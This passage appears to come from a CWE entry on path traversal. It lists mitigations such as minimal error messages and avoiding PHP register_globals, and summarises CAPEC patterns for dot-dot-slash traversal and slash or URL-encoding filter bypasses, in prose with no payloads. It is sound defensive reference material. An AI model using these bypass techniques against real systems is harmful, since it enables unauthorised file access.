  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.